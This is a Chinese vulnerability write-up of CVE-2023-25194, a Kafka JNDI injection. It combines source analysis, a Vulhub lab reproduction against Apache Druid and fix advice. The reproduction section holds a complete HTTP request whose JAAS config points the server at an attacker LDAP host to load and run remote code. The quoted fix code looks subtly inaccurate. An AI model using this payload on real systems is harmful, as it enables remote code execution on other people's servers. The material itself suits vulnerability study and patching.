CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)

news2025/6/10 12:04:05

漏洞概述

漏洞名称:Apache Kafka Connect JNDI注入导致的远程代码执行漏洞
CVE编号:CVE-2023-25194
CVSS评分:8.8
影响版本:Apache Kafka 2.3.0 - 3.3.2
修复版本:≥ 3.4.0
漏洞类型:反序列化导致的远程代码执行(RCE)

CVE-2023-25194 是 Apache Kafka Connect 组件中的高危漏洞,源于其对用户控制的 SASL JAAS 配置缺乏安全校验。攻击者通过创建或修改 Kafka Connect 连接器时,注入恶意 JNDI 配置(如 com.sun.security.auth.module.JndiLoginModule),可迫使 Worker 连接至攻击者控制的 LDAP 服务器,触发 JNDI 反序列化攻击,最终在服务端执行任意命令。该漏洞需满足以下条件:

  1. 认证访问:攻击者需能操作 Kafka Connect REST API(默认端口 8083)。
  2. 配置可控:可修改连接器的 SASL JAAS 配置属性。
  3. 网络可达:Kafka Connect 服务需能访问攻击者搭建的 LDAP 服务器。

漏洞原理与源码分析

1. 漏洞触发链

攻击者控制 SASL JAAS 配置
Worker 加载 JndiLoginModule
解析 user.provider.url
连接恶意 LDAP 服务器
加载远程恶意类
反序列化执行任意命令

2. 关键源码定位

漏洞入口:动态解析 SASL JAAS 配置

代码路径org/apache/kafka/common/security/JaasContext.java

   // 处理连接器配置  
   public static JaasContext loadClientContext(Map<String, ?> configs) {
     Password dynamicJaasConfig = (Password)configs.get("sasl.jaas.config");
     return load(Type.CLIENT, null, "KafkaClient", dynamicJaasConfig);//未校验模块安全性,直接注入配置
   } 
   

漏洞点

  • sasl.jaas.config 直接使用用户输入字符串
  • 未过滤高危模块 com.sun.security.auth.module.JndiLoginModule
JNDI 注入触发点

代码路径com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

 private void attemptAuthentication(boolean getPasswdFromSharedState)
    throws LoginException {
        String encryptedPassword = null;
        getUsernamePassword(getPasswdFromSharedState);
        try {
            InitialContext iCtx = new InitialContext();
            ctx = (DirContext)iCtx.lookup(userProvider);// 触发JNDI连接  
            ......
   }

            

利用条件

  • 用户需能操作 Kafka Connect REST API(默认端口 8083
  • Kafka Connect 能访问攻击者的 LDAP 服务器

影响范围与利用条件

1. 受影响版本

组件影响版本安全版本
Apache Kafka2.3.0 - 3.3.2≥ 3.4.0

2. 利用限制

  • JDK 版本限制:仅影响 JDK < 11.0.1、< 8u191、< 7u201、< 6u211(支持远程 LDAP 引用)。
  • 依赖库要求:目标需存在可用的反序列化利用链(如 CommonsCollections、Groovy)。

漏洞复现

由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的>软件,且用户可以控制连接参数。
这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。本篇文章演示如何利用CVE-2023-25194来攻击Apache Druid。

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d

在这里插入图片描述

2.访问 http://target:8888,确认服务正常运行

在这里插入图片描述

攻击步骤

1.下载工具 Java Chains
2.启动工具,并登录
java -jar java-chains-1.4.1.jar
  • 登录密码启动时已经给出
    在这里插入图片描述
  • 访问your-ip:8011登录
    在这里插入图片描述
3.进入JNDI板块设置攻击机ip

在这里插入图片描述

4.选择jndibasicpayload,设置要执行的命令,点击生成

在这里插入图片描述
在这里插入图片描述

5.抓包发送如下数据包
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1405

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://java-chains:50389/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}
  • 注意将之前生成的恶意LDAP URL放在这个请求中,并发送

在这里插入图片描述

6.验证
  • 进入容器中查看
docker exec -it  容器号   /bin/bash

在这里插入图片描述

修复方案

官方修复(≥3.4.0)

代码路径org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry entry) {  
    // 默认黑名单:JndiLoginModule  
    Set<String> disallowedModules = Arrays.asList(  
        System.getProperty("org.apache.kafka.disallowed.login.modules",  
        "com.sun.security.auth.module.JndiLoginModule")  
    );  
    if (disallowedModules.contains(entry.getLoginModuleName())) {  
        throw new IllegalArgumentException("Login module disabled: " + entry.getLoginModuleName());  
    }  
}  

修复效果

  • 默认禁用 JndiLoginModule
  • 可通过系统属性扩展黑名单

漏洞启示

  1. 输入信任边界失效:动态配置接口必须强制校验模块白名单(如仅允许 PlainLoginModule)。
  2. 默认安全强化:高危功能(如 JNDI)应默认禁用,需显式开启。
  3. 纵深防御实践
    • 网络隔离:Kafka Connect 部署于独立安全域。
    • 进程权限:以非 root 账户运行服务。
    • 持续监控:检测异常 LDAP 请求。

附:同类漏洞对比

漏洞组件触发点防御核心
CVE-2023-25194Kafka ConnectSASL JAAS 配置注入禁用危险模块
Log4ShellLog4jJNDI 查找移除 JndiLookup
CVE-2021-44244Apache Dubbo反序列化 Gadget 链限制反序列化类

参考链接

  1. CVE-2023-25194 官方通告(Apache Kafka)
  2. JNDI 注入利用详解(JB51)
  3. 漏洞复现指南(CTF导航)
  4. 企业级防御建议(360CERT)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2406594.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Copilot for Xcode (iOS的 AI辅助编程)

Copilot for Xcode 简介Copilot下载与安装 体验环境要求下载最新的安装包安装登录系统权限设置 AI辅助编程生成注释代码补全简单需求代码生成辅助编程行间代码生成注释联想 代码生成 总结 简介 尝试使用了Copilot&#xff0c;它能根据上下文补全代码&#xff0c;快速生成常用…

Axure零基础跟我学:展开与收回

亲爱的小伙伴,如有帮助请订阅专栏!跟着老师每课一练,系统学习Axure交互设计课程! Axure产品经理精品视频课https://edu.csdn.net/course/detail/40420 课程主题:Axure菜单展开与收回 课程视频:

RabbitMQ 各类交换机

为什么要用交换机&#xff1f; 交换机用来路由消息。如果直发队列&#xff0c;这个消息就被处理消失了&#xff0c;那别的队列也需要这个消息怎么办&#xff1f;那就要用到交换机 交换机类型 1&#xff0c;fanout&#xff1a;广播 特点 广播所有消息​​&#xff1a;将消息…

高保真组件库:开关

一:制作关状态 拖入一个矩形作为关闭的底色:44 x 22,填充灰色CCCCCC,圆角23,边框宽度0,文本为”关“,右对齐,边距2,2,6,2,文本颜色白色FFFFFF。 拖拽一个椭圆,尺寸18 x 18,边框为0。3. 全选转为动态面板状态1命名为”关“。 二:制作开状态 复制关状态并命名为”开…

未授权访问事件频发,我们应当如何应对?

在当下&#xff0c;数据已成为企业和组织的核心资产&#xff0c;是推动业务发展、决策制定以及创新的关键驱动力。然而&#xff0c;未授权访问这一隐匿的安全威胁&#xff0c;正如同高悬的达摩克利斯之剑&#xff0c;时刻威胁着数据的安全&#xff0c;一旦触发&#xff0c;便可…

欢乐熊大话蓝牙知识17:多连接 BLE 怎么设计服务不会乱?分层思维来救场!

多连接 BLE 怎么设计服务不会乱&#xff1f;分层思维来救场&#xff01; 作者按&#xff1a; 你是不是也遇到过 BLE 多连接时&#xff0c;调试现场像网吧“掉线风暴”&#xff1f; 温度传感器连上了&#xff0c;心率带丢了&#xff1b;一边 OTA 更新&#xff0c;一边通知卡壳。…

Element-Plus:popconfirm与tooltip一起使用不生效?

你们好&#xff0c;我是金金金。 场景 我正在使用Element-plus组件库当中的el-popconfirm和el-tooltip&#xff0c;产品要求是两个需要结合一起使用&#xff0c;也就是鼠标悬浮上去有提示文字&#xff0c;并且点击之后需要出现气泡确认框 代码 <el-popconfirm title"是…

Selenium 查找页面元素的方式

Selenium 查找页面元素的方式 Selenium 提供了多种方法来查找网页中的元素&#xff0c;以下是主要的定位方式&#xff1a; 基本定位方式 通过ID定位 driver.find_element(By.ID, "element_id")通过Name定位 driver.find_element(By.NAME, "element_name"…

OPENCV图形计算面积、弧长API讲解(1)

一.OPENCV图形面积、弧长计算的API介绍 之前我们已经把图形轮廓的检测、画框等功能讲解了一遍。那今天我们主要结合轮廓检测的API去计算图形的面积&#xff0c;这些面积可以是矩形、圆形等等。图形面积计算和弧长计算常用于车辆识别、桥梁识别等重要功能&#xff0c;常用的API…

spring boot使用HttpServletResponse实现sse后端流式输出消息

1.以前只是看过SSE的相关文章&#xff0c;没有具体实践&#xff0c;这次接入AI大模型使用到了流式输出&#xff0c;涉及到给前端流式返回&#xff0c;所以记录一下。 2.resp要设置为text/event-stream resp.setContentType("text/event-stream"); resp.setCharacter…

二叉树-144.二叉树的前序遍历-力扣(LeetCode)

一、题目解析 对于递归方法的前序遍历十分简单&#xff0c;但对于一位合格的程序猿而言&#xff0c;需要掌握将递归转化为非递归的能力&#xff0c;毕竟递归调用的时候会调用大量的栈帧&#xff0c;存在栈溢出风险。 二、算法原理 递归调用本质是系统建立栈帧&#xff0c;而非…

【技巧】dify前端源代码修改第一弹-增加tab页

回到目录 【技巧】dify前端源代码修改第一弹-增加tab页 尝试修改dify的前端源代码&#xff0c;在知识库增加一个tab页"HELLO WORLD"&#xff0c;完成后的效果如下 [gif01] 1. 前端代码进入调试模式 参考 【部署】win10的wsl环境下启动dify的web前端服务 启动调试…

Java设计模式:责任链模式

一、什么是责任链模式&#xff1f; 责任链模式&#xff08;Chain of Responsibility Pattern&#xff09; 是一种 行为型设计模式&#xff0c;它通过将请求沿着一条处理链传递&#xff0c;直到某个对象处理它为止。这种模式的核心思想是 解耦请求的发送者和接收者&#xff0c;…

初探用uniapp写微信小程序遇到的问题及解决(vue3+ts)

零、关于开发思路 (一)拿到工作任务,先理清楚需求 1.逻辑部分 不放过原型里说的每一句话,有疑惑的部分该问产品/测试/之前的开发就问 2.页面部分(含国际化) 整体看过需要开发页面的原型后,分类一下哪些组件/样式可以复用,直接提取出来使用 (时间充分的前提下,不…

云原生时代的系统设计:架构转型的战略支点

&#x1f4dd;个人主页&#x1f339;&#xff1a;一ge科研小菜鸡-CSDN博客 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; 一、云原生的崛起&#xff1a;技术趋势与现实需求的交汇 随着企业业务的互联网化、全球化、智能化持续加深&#xff0c;传统的 I…

python可视化:俄乌战争时间线关键节点与深层原因

俄乌战争时间线可视化分析&#xff1a;关键节点与深层原因 俄乌战争是21世纪欧洲最具影响力的地缘政治冲突之一&#xff0c;自2022年2月爆发以来已持续超过3年。 本文将通过Python可视化工具&#xff0c;系统分析这场战争的时间线、关键节点及其背后的深层原因&#xff0c;全面…

C# WPF 左右布局实现学习笔记(1)

开发流程视频&#xff1a; https://www.youtube.com/watch?vCkHyDYeImjY&ab_channelC%23DesignPro Git源码&#xff1a; GitHub - CSharpDesignPro/Page-Navigation-using-MVVM: WPF - Page Navigation using MVVM 1. 新建工程 新建WPF应用&#xff08;.NET Framework) 2.…

Linux入门(十五)安装java安装tomcat安装dotnet安装mysql

安装java yum install java-17-openjdk-devel查找安装地址 update-alternatives --config java设置环境变量 vi /etc/profile #在文档后面追加 JAVA_HOME"通过查找安装地址命令显示的路径" #注意一定要加$PATH不然路径就只剩下新加的路径了&#xff0c;系统很多命…

【QT控件】显示类控件

目录 一、Label 二、LCD Number 三、ProgressBar 四、Calendar Widget QT专栏&#xff1a;QT_uyeonashi的博客-CSDN博客 一、Label QLabel 可以用来显示文本和图片. 核心属性如下 代码示例: 显示不同格式的文本 1) 在界面上创建三个 QLabel 尺寸放大一些. objectName 分别…

npm安装electron下载太慢,导致报错

npm安装electron下载太慢&#xff0c;导致报错 背景 想学习electron框架做个桌面应用&#xff0c;卡在了安装依赖&#xff08;无语了&#xff09;。。。一开始以为node版本或者npm版本太低问题&#xff0c;调整版本后还是报错。偶尔执行install命令后&#xff0c;可以开始下载…